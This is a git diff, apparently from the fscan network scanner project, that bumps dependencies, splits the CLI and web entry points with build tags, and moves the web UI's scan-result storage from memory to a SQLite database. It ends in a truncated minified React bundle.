v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w= -golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= +golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -204,8 +218,9 @@ golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= +golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= @@ -236,6 +251,8 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= +golang.org/x/tools v0.42.0 h1:uNgphsn75Tdz5Ji2q36v/nsFSfR/9BRFvqhGBaJGd5k= +golang.org/x/tools v0.42.0/go.mod h1:Ma6lCIwGZvHK6XtgbswSoWroEkhugApmsXyrUmBhfr0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= @@ -270,3 +287,31 @@ gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +modernc.org/cc/v4 v4.28.2 h1:3tQ0lf2ADtoby2EtSP+J7IE2SHwEJdP8ioR59wx7XpY= +modernc.org/cc/v4 v4.28.2/go.mod h1:OnovgIhbbMXMu1aISnJ0wvVD1KnW+cAUJkIrAWh+kVI= +modernc.org/ccgo/v4 v4.34.0 h1:yRLPFZieg532OT4rp4JFNIVcquwalMX26G95WQDqwCQ= +modernc.org/ccgo/v4 v4.34.0/go.mod h1:AS5WYMyBakQ+fhsHhtP8mWB82KTGPkNNJDGfGQCe0/A= +modernc.org/fileutil v1.4.0 h1:j6ZzNTftVS054gi281TyLjHPp6CPHr2KCxEXjEbD6SM= +modernc.org/fileutil v1.4.0/go.mod h1:EqdKFDxiByqxLk8ozOxObDSfcVOv/54xDs/DUHdvCUU= +modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI= +modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito= +modernc.org/gc/v3 v3.1.2 h1:ZtDCnhonXSZexk/AYsegNRV1lJGgaNZJuKjJSWKyEqo= +modernc.org/gc/v3 v3.1.2/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY= +modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks= +modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI= +modernc.org/libc v1.72.3 h1:ZnDF4tXn4NBXFutMMQC4vtbTFSXhhKzR73fv0beZEAU= +modernc.org/libc v1.72.3/go.mod h1:dn0dZNnnn1clLyvRxLxYExxiKRZIRENOfqQ8XEeg4Qs= +modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= +modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg= +modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI= +modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw= +modernc.org/opt v0.2.0 h1:tGyef5ApycA7FSEOMraay9SaTk5zmbx7Tu+cJs4QKZg= +modernc.org/opt v0.2.0/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns= +modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w= +modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE= +modernc.org/sqlite v1.52.0 h1:p4dhYh2tXZCiyaqHwRVJDjIGKWyXayiQpThxgDzJaxo= +modernc.org/sqlite v1.52.0/go.mod h1:tcNzv5p84E0skkmJn038y+hWJbLQXQqEnQfeh5r2JLM= +modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0= +modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A= +modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= +modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= diff --git a/main.go b/main_cli.go similarity index 88% rename from main.go rename to main_cli.go index 7fb922f..06bd370 100644 --- a/main.go +++ b/main_cli.go @@ -1,3 +1,5 @@ +//go:build !web + package main import ( @@ -10,7 +12,6 @@ import ( "github.com/shadow1ng/fscan/common/debug" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/core" - "github.com/shadow1ng/fscan/web" // 导入统一插件系统 _ "github.com/shadow1ng/fscan/plugins/local" @@ -33,15 +34,6 @@ func main() { os.Exit(1) } - // Web模式:启动Web服务器 - if common.WebMode { - if err := web.StartServer(common.WebPort); err != nil { - common.LogError(err.Error()) - os.Exit(1) - } - return - } - // 检查参数互斥性 if err := common.ValidateExclusiveParams(&info); err != nil { common.LogError(i18n.Tr("error_generic", err)) diff --git a/main_web.go b/main_web.go new file mode 100644 index 0000000..d9df403 --- /dev/null +++ b/main_web.go @@ -0,0 +1,33 @@ +//go:build web + +package main + +import ( + "flag" + "fmt" + "os" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/web" + + // 导入统一插件系统 + _ "github.com/shadow1ng/fscan/plugins/local" + _ "github.com/shadow1ng/fscan/plugins/services" + _ "github.com/shadow1ng/fscan/plugins/web" +) + +func main() { + port := flag.Int("port", 10240, "Web server listen port") + lang := flag.String("lang", "zh", "Language (zh/en)") + flag.Parse() + + i18n.SetLanguage(*lang) + + fmt.Printf("fscan web v%s\n", common.GetVersion()) + + if err := web.StartServer(*port); err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + os.Exit(1) + } +} diff --git a/web-ui/package-lock.json b/web-ui/package-lock.json index 6ec9295..deaa050 100644 --- a/web-ui/package-lock.json +++ b/web-ui/package-lock.json @@ -21,6 +21,7 @@ "@radix-ui/react-switch": "^1.2.6", "@radix-ui/react-tabs": "^1.1.13", "@radix-ui/react-tooltip": "^1.2.8", + "@rollup/rollup-linux-x64-gnu": "^4.61.1", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "i18next": "^25.7.3", @@ -2496,15 +2497,16 @@ ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz", - "integrity": "sha512-WGt5J8Ij/rvyqpFexxk3ffKqqbLf9AqrTBbWDk7ApGUzaIs6V+s2s84kAxklFwmMF/vBNGrVdYgbblCOFFezMQ==", + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.61.1.tgz", + "integrity": "sha512-bVWIOIk6pV01p4CdUbPP7CJ/434z+OooYjDuFcR+44N35YvKUC66G8MGnvcWx5mWKW3g61J+t74l3Kj15Kwn2Q==", "cpu": [ "x64" ], - "dev": true, + "libc": [ + "glibc" + ], "license": "MIT", - "optional": true, "os": [ "linux" ] @@ -5318,6 +5320,23 @@ "fsevents": "~2.3.2" } }, + "node_modules/rollup/node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.54.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz", + "integrity": "sha512-WGt5J8Ij/rvyqpFexxk3ffKqqbLf9AqrTBbWDk7ApGUzaIs6V+s2s84kAxklFwmMF/vBNGrVdYgbblCOFFezMQ==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, "node_modules/run-parallel": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", diff --git a/web-ui/package.json b/web-ui/package.json index f456b8b..5f2b96f 100644 --- a/web-ui/package.json +++ b/web-ui/package.json @@ -23,6 +23,7 @@ "@radix-ui/react-switch": "^1.2.6", "@radix-ui/react-tabs": "^1.1.13", "@radix-ui/react-tooltip": "^1.2.8", + "@rollup/rollup-linux-x64-gnu": "^4.61.1", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "i18next": "^25.7.3", diff --git a/web-ui/src/pages/ResultsPage.tsx b/web-ui/src/pages/ResultsPage.tsx index ca6eb09..bfdb6d9 100644 --- a/web-ui/src/pages/ResultsPage.tsx +++ b/web-ui/src/pages/ResultsPage.tsx @@ -53,14 +53,14 @@ export function ResultsPage() { const fetchResults = useCallback(async () => { setLoading(true); try { - const data = await getResults(filter === 'all' ? undefined : filter); + const data = await getResults(); setResults(data.items); } catch (err) { console.error('Failed to fetch results:', err); } finally { setLoading(false); } - }, [filter]); + }, []); useEffect(() => { fetchResults(); diff --git a/web/api/result.go b/web/api/result.go index 77e9b09..002111d 100644 --- a/web/api/result.go +++ b/web/api/result.go @@ -3,15 +3,19 @@ package api import ( + "database/sql" "encoding/csv" "encoding/json" "fmt" "net/http" + "os" + "path/filepath" "strings" "sync" "time" "github.com/shadow1ng/fscan/common/i18n" + _ "modernc.org/sqlite" ) // ResultItem 扫描结果项 @@ -24,26 +28,66 @@ type ResultItem struct { Details interface{} `json:"details,omitempty"` } -// ResultStore 结果存储 +// ResultStore SQLite 结果存储 type ResultStore struct { - mu sync.RWMutex - items []ResultItem - counter int64 - stats ScanStats - // 去重 - seen map[string]bool - // service 类型按 target 索引,用于更新 - serviceIndex map[string]int + mu sync.RWMutex + db *sql.DB } // 全局结果存储 -var globalResultStore = &ResultStore{ - items: make([]ResultItem, 0), - seen: make(map[string]bool), - serviceIndex: make(map[string]int), +var globalResultStore *ResultStore + +func init() { + store, err := NewResultStore() + if err != nil { + panic(fmt.Sprintf("failed to init result store: %v", err)) + } + globalResultStore = store } -// Add 添加结果,返回格式化后的结果项(去重,重复则返回nil) +// dbPath 返回数据库文件路径 +func dbPath() string { + home, err := os.UserHomeDir() + if err != nil { + home = "." + } + dir := filepath.Join(home, ".fscan") + _ = os.MkdirAll(dir, 0755) + return filepath.Join(dir, "results.db") +} + +// NewResultStore 创建 SQLite 存储 +func NewResultStore() (*ResultStore, error) { + db, err := sql.Open("sqlite", dbPath()) + if err != nil { + return nil, err + } + + // WAL 模式,提升并发读写 + if _, err := db.Exec("PRAGMA journal_mode=WAL"); err != nil { + db.Close() + return nil, err + } + + if _, err := db.Exec(` + CREATE TABLE IF NOT EXISTS results ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + time TEXT NOT NULL, + type TEXT NOT NULL, + target TEXT NOT NULL, + status TEXT NOT NULL DEFAULT '', + details TEXT NOT NULL DEFAULT '{}', + UNIQUE(type, target, status) + ) + `); err != nil { + db.Close() + return nil, err + } + + return &ResultStore{db: db}, nil +} + +// Add 添加结果(去重,重复返回 nil) func (s *ResultStore) Add(result interface{}) *ResultItem { s.mu.Lock() defer s.mu.Unlock() @@ -53,10 +97,10 @@ func (s *ResultStore) Add(result interface{}) *ResultItem { Details: result, } - // 根据结果类型分类 + // 解析结果字段 if m, ok := result.(map[string]interface{}); ok { if t, ok := m["type"].(string); ok { - item.Type = strings.ToLower(t) // 统一转小写 + item.Type = strings.ToLower(t) } if target, ok := m["target"].(string); ok { item.Target = target @@ -64,64 +108,58 @@ func (s *ResultStore) Add(result interface{}) *ResultItem { if status, ok := m["status"].(string); ok { item.Status = status } - // 从details提取更多信息 if details, ok := m["details"].(map[string]interface{}); ok { item.Details = details - // 组合 target:port if port, ok := details["port"]; ok { if item.Target != "" && !strings.Contains(item.Target, ":") { item.Target = fmt.Sprintf("%s:%v", item.Target, port) } } - // 构建更有意义的status item.Status = buildStatusFromDetails(item.Type, item.Status, details) } } - // 生成去重键 - key := fmt.Sprintf("%s|%s|%s", item.Type, item.Target, item.Status) - if s.seen[key] { - return nil // 完全重复,不添加 - } + detailsJSON, _ := json.Marshal(item.Details) - // service/port 类型特殊处理:同一 target 只保留最详细的 + // service/port 类型:同一 target 只保留最详细的 if item.Type == "service" || item.Type == "port" { - indexKey := item.Type + "|" + item.Target - if idx, exists := s.serviceIndex[indexKey]; exists { - oldStatus := s.items[idx].Status - // 如果旧的是基础状态,新的更详细,则更新 - if (oldStatus == "identified" || oldStatus == "open" || oldStatus == "") && + var existID int64 + var existStatus string + err := s.db.QueryRow( + "SELECT id, status FROM results WHERE type = ? AND target = ? LIMIT 1", + item.Type, item.Target, + ).Scan(&existID, &existStatus) + + if err == nil { + // 已有记录,判断是否需要更新 + if (existStatus == "identified" || existStatus == "open" || existStatus == "") && item.Status != "identified" && item.Status != "open" && item.Status != "" { - s.items[idx].Status = item.Status - s.items[idx].Details = item.Details - s.items[idx].Time = item.Time - s.seen[key] = true - return &s.items[idx] + s.db.Exec( + "UPDATE results SET status = ?, details = ?, time = ? WHERE id = ?", + item.Status, string(detailsJSON), item.Time.Format(time.RFC3339), existID, + ) + item.ID = existID + return &item } - // 否则跳过(保留已有信息) return nil } - // 新记录,记录索引 - s.serviceIndex[indexKey] = len(s.items) } - s.seen[key] = true - - // 统计 - switch item.Type { - case "host": - s.stats.HostsScanned++ - case "port": - s.stats.PortsScanned++ - case "service": - s.stats.ServicesFound++ - case "vuln": - s.stats.VulnsFound++ + // 插入(UNIQUE 约束自动去重) + res, err := s.db.Exec( + "INSERT OR IGNORE INTO results (time, type, target, status, details) VALUES (?, ?, ?, ?, ?)", + item.Time.Format(time.RFC3339), item.Type, item.Target, item.Status, string(detailsJSON), + ) + if err != nil { + return nil } - s.counter++ - item.ID = s.counter - s.items = append(s.items, item) + affected, _ := res.RowsAffected() + if affected == 0 { + return nil // 重复 + } + + item.ID, _ = res.LastInsertId() return &item } @@ -129,25 +167,71 @@ func (s *ResultStore) Add(result interface{}) *ResultItem { func (s *ResultStore) List() []ResultItem { s.mu.RLock() defer s.mu.RUnlock() - return append([]ResultItem{}, s.items...) + + rows, err := s.db.Query("SELECT id, time, type, target, status, details FROM results ORDER BY id") + if err != nil { + return nil + } + defer rows.Close() + + return scanRows(rows) } // Stats 获取统计信息 func (s *ResultStore) Stats() ScanStats { s.mu.RLock() defer s.mu.RUnlock() - return s.stats + + var stats ScanStats + rows, err := s.db.Query("SELECT type, COUNT(*) FROM results GROUP BY type") + if err != nil { + return stats + } + defer rows.Close() + + for rows.Next() { + var t string + var count int + if rows.Scan(&t, &count) == nil { + switch t { + case "host": + stats.HostsScanned = count + case "port": + stats.PortsScanned = count + case "service": + stats.ServicesFound = count + case "vuln": + stats.VulnsFound = count + } + } + } + return stats } // Clear 清空结果 func (s *ResultStore) Clear() { s.mu.Lock() defer s.mu.Unlock() - s.items = make([]ResultItem, 0) - s.counter = 0 - s.stats = ScanStats{} - s.seen = make(map[string]bool) - s.serviceIndex = make(map[string]int) + s.db.Exec("DELETE FROM results") +} + +// scanRows 解析查询结果 +func scanRows(rows *sql.Rows) []ResultItem { + var items []ResultItem + for rows.Next() { + var item ResultItem + var timeStr, detailsStr string + if err := rows.Scan(&item.ID, &timeStr, &item.Type, &item.Target, &item.Status, &detailsStr); err != nil { + continue + } + item.Time, _ = time.Parse(time.RFC3339, timeStr) + var details interface{} + if json.Unmarshal([]byte(detailsStr), &details) == nil { + item.Details = details + } + items = append(items, item) + } + return items } // ResultHandler 结果处理器 @@ -169,7 +253,6 @@ func (h *ResultHandler) List(w http.ResponseWriter, r *http.Request) { return } - // 支持类型过滤 typeFilter := r.URL.Query().Get("type") items := h.store.List() @@ -190,7 +273,7 @@ func (h *ResultHandler) List(w http.ResponseWriter, r *http.Request) { }) } -// ExportOutput 导出输出结构(与CLI格式一致) +// ExportOutput 导出输出结构 type ExportOutput struct { ScanTime time.Time `json:"scan_time"` Summary ExportSummary `json:"summary"` @@ -208,7 +291,7 @@ type ExportSummary struct { TotalVulns int `json:"total_vulns"` } -// Export 导出结果(与CLI格式一致) +// Export 导出结果 func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) @@ -222,7 +305,6 @@ func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { items := h.store.List() - // 按类型分类 var hosts, ports, services, vulns []ResultItem for _, item := range items { switch item.Type { @@ -262,7 +344,6 @@ func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Disposition", "attachment; filename=fscan_results.csv") writer := csv.NewWriter(w) - // Hosts section if len(hosts) > 0 { writer.Write([]string{"# Hosts"}) writer.Write([]string{"Target"}) @@ -272,7 +353,6 @@ func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { writer.Write([]string{}) } - // Ports section if len(ports) > 0 { writer.Write([]string{"# Ports"}) writer.Write([]string{"Target", "Port", "Status"}) @@ -284,7 +364,6 @@ func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { writer.Write([]string{}) } - // Services section if len(services) > 0 { writer.Write([]string{"# Services"}) writer.Write([]string{"Target", "Service", "Version", "Banner"}) @@ -295,7 +374,6 @@ func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { writer.Write([]string{}) } - // Vulns section if len(vulns) > 0 { writer.Write([]string{"# Vulns"}) writer.Write([]string{"Target", "Type", "Details"}) @@ -394,19 +472,15 @@ func buildStatusFromDetails(resultType, originalStatus string, details map[strin return "open" case "service": - // 服务名 if name, ok := details["name"].(string); ok && name != "" { parts = append(parts, name) } - // 版本 if version, ok := details["version"].(string); ok && version != "" { parts = append(parts, version) } - // 产品 if product, ok := details["product"].(string); ok && product != "" { parts = append(parts, product) } - // 系统 if os, ok := details["os"].(string); ok && os != "" { parts = append(parts, os) } @@ -415,7 +489,6 @@ func buildStatusFromDetails(resultType, originalStatus string, details map[strin } case "vuln": - // 统一漏洞显示格式 return normalizeVulnStatus(originalStatus, details) case "host": @@ -427,7 +500,6 @@ func buildStatusFromDetails(resultType, originalStatus string, details map[strin // normalizeVulnStatus 统一漏洞状态显示 func normalizeVulnStatus(status string, details map[string]interface{}) string { - // 英文转中文映射 vulnTranslations := map[string]string{ "weak_credential": i18n.GetText("web_result_weak_credential"), "unauthorized": i18n.GetText("unauthorized_access"), @@ -436,21 +508,17 @@ func normalizeVulnStatus(status string, details map[string]interface{}) string { "CVE": i18n.GetText("web_result_vulnerability"), } - // 处理 "weak_credential: user:pass" 格式 if strings.HasPrefix(status, "weak_credential:") { cred := strings.TrimPrefix(status, "weak_credential:") cred = strings.TrimSpace(cred) return i18n.Tr("web_result_weak_credential_detail", cred) } - // 处理其他已知格式 for eng, chn := range vulnTranslations { if strings.Contains(strings.ToLower(status), strings.ToLower(eng)) { - // 如果已经是中文格式,直接返回 if strings.Contains(status, chn) { return status } - // 替换英文部分 return strings.Replace(status, eng, chn, 1) } } diff --git a/web/dist/assets/index-DR5QRXeN.js b/web/dist/assets/index-5JoZok-U.js similarity index 93% rename from web/dist/assets/index-DR5QRXeN.js rename to web/dist/assets/index-5JoZok-U.js index 60c4807..d07ab49 100644 --- a/web/dist/assets/index-DR5QRXeN.js +++ b/web/dist/assets/index-5JoZok-U.js @@ -5,8 +5,8 @@ function C$(e,t){for(var n=0;ng||k[d]!==Y[g]){var te=` `+k[d].replace(" at new "," at ");return a.displayName&&te.includes("")&&(te=te.replace("",a.displayName)),te}while(1<=d&&0<=g);break}}}finally{bt=!1,Error.prepareStackTrace=s}return(s=a?a.displayName||a.name:"")?je(s):""}function Cn(a,o){switch(a.tag){case 26:case 27:case 5:return je(a.type);case 16:return je("Lazy");case 13:return a.child!==o&&o!==null?je("Suspense Fallback"):je("Suspense");case 19:return je("SuspenseList");case 0:case 15:return xt(a.type,!1);case 11:return xt(a.type.render,!1);case 1:return xt(a.type,!0);case 31:return je("Activity");default:return""}}function ls(a){try{var o="",s=null;do o+=Cn(a,s),s=a,a=a.return;while(a);return o}catch(d){return` Error generating stack: `+d.message+` -`+d.stack}}var Vp=Object.prototype.hasOwnProperty,Kp=e.unstable_scheduleCallback,Yp=e.unstable_cancelCallback,a5=e.unstable_shouldYield,i5=e.unstable_requestPaint,_n=e.unstable_now,o5=e.unstable_getCurrentPriorityLevel,uw=e.unstable_ImmediatePriority,fw=e.unstable_UserBlockingPriority,yu=e.unstable_NormalPriority,l5=e.unstable_LowPriority,dw=e.unstable_IdlePriority,s5=e.log,c5=e.unstable_setDisableYieldValue,ss=null,Tn=null;function Ba(a){if(typeof s5=="function"&&c5(a),Tn&&typeof Tn.setStrictMode=="function")try{Tn.setStrictMode(ss,a)}catch{}}var Nn=Math.clz32?Math.clz32:d5,u5=Math.log,f5=Math.LN2;function d5(a){return a>>>=0,a===0?32:31-(u5(a)/f5|0)|0}var bu=256,xu=262144,wu=4194304;function Mi(a){var o=a&42;if(o!==0)return o;switch(a&-a){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return a&261888;case 262144:case 524288:case 1048576:case 2097152:return a&3932160;case 4194304:case 8388608:case 16777216:case 33554432:return a&62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return a}}function Su(a,o,s){var d=a.pendingLanes;if(d===0)return 0;var g=0,b=a.suspendedLanes,C=a.pingedLanes;a=a.warmLanes;var N=d&134217727;return N!==0?(d=N&~b,d!==0?g=Mi(d):(C&=N,C!==0?g=Mi(C):s||(s=N&~a,s!==0&&(g=Mi(s))))):(N=d&~b,N!==0?g=Mi(N):C!==0?g=Mi(C):s||(s=d&~a,s!==0&&(g=Mi(s)))),g===0?0:o!==0&&o!==g&&(o&b)===0&&(b=g&-g,s=o&-o,b>=s||b===32&&(s&4194048)!==0)?o:g}function cs(a,o){return(a.pendingLanes&~(a.suspendedLanes&~a.pingedLanes)&o)===0}function h5(a,o){switch(a){case 1:case 2:case 4:case 8:case 64:return o+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return o+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function hw(){var a=wu;return wu<<=1,(wu&62914560)===0&&(wu=4194304),a}function Gp(a){for(var o=[],s=0;31>s;s++)o.push(a);return o}function us(a,o){a.pendingLanes|=o,o!==268435456&&(a.suspendedLanes=0,a.pingedLanes=0,a.warmLanes=0)}function p5(a,o,s,d,g,b){var C=a.pendingLanes;a.pendingLanes=s,a.suspendedLanes=0,a.pingedLanes=0,a.warmLanes=0,a.expiredLanes&=s,a.entangledLanes&=s,a.errorRecoveryDisabledLanes&=s,a.shellSuspendCounter=0;var N=a.entanglements,k=a.expirationTimes,Y=a.hiddenUpdates;for(s=C&~s;0"u")return null;try{return a.activeElement||a.body}catch{return a.body}}var x5=/[\n"\\]/g;function Yn(a){return a.replace(x5,function(o){return"\\"+o.charCodeAt(0).toString(16)+" "})}function em(a,o,s,d,g,b,C,N){a.name="",C!=null&&typeof C!="function"&&typeof C!="symbol"&&typeof C!="boolean"?a.type=C:a.removeAttribute("type"),o!=null?C==="number"?(o===0&&a.value===""||a.value!=o)&&(a.value=""+Kn(o)):a.value!==""+Kn(o)&&(a.value=""+Kn(o)):C!=="submit"&&C!=="reset"||a.removeAttribute("value"),o!=null?tm(a,C,Kn(o)):s!=null?tm(a,C,Kn(s)):d!=null&&a.removeAttribute("value"),g==null&&b!=null&&(a.defaultChecked=!!b),g!=null&&(a.checked=g&&typeof g!="function"&&typeof g!="symbol"),N!=null&&typeof N!="function"&&typeof N!="symbol"&&typeof N!="boolean"?a.name=""+Kn(N):a.removeAttribute("name")}function Cw(a,o,s,d,g,b,C,N){if(b!=null&&typeof b!="function"&&typeof b!="symbol"&&typeof b!="boolean"&&(a.type=b),o!=null||s!=null){if(!(b!=="submit"&&b!=="reset"||o!=null)){Jp(a);return}s=s!=null?""+Kn(s):"",o=o!=null?""+Kn(o):s,N||o===a.value||(a.value=o),a.defaultValue=o}d=d??g,d=typeof d!="function"&&typeof d!="symbol"&&!!d,a.checked=N?a.checked:!!d,a.defaultChecked=!!d,C!=null&&typeof C!="function"&&typeof C!="symbol"&&typeof C!="boolean"&&(a.name=C),Jp(a)}function tm(a,o,s){o==="number"&&Au(a.ownerDocument)===a||a.defaultValue===""+s||(a.defaultValue=""+s)}function ko(a,o,s,d){if(a=a.options,o){o={};for(var g=0;g"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),om=!1;if(Zr)try{var ps={};Object.defineProperty(ps,"passive",{get:function(){om=!0}}),window.addEventListener("test",ps,ps),window.removeEventListener("test",ps,ps)}catch{om=!1}var Ha=null,lm=null,_u=null;function Rw(){if(_u)return _u;var a,o=lm,s=o.length,d,g="value"in Ha?Ha.value:Ha.textContent,b=g.length;for(a=0;a=gs),$w=" ",Bw=!1;function Uw(a,o){switch(a){case"keyup":return G5.indexOf(o.keyCode)!==-1;case"keydown":return o.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Hw(a){return a=a.detail,typeof a=="object"&&"data"in a?a.data:null}var $o=!1;function X5(a,o){switch(a){case"compositionend":return Hw(o);case"keypress":return o.which!==32?null:(Bw=!0,$w);case"textInput":return a=o.data,a===$w&&Bw?null:a;default:return null}}function Z5(a,o){if($o)return a==="compositionend"||!dm&&Uw(a,o)?(a=Rw(),_u=lm=Ha=null,$o=!1,a):null;switch(a){case"paste":return 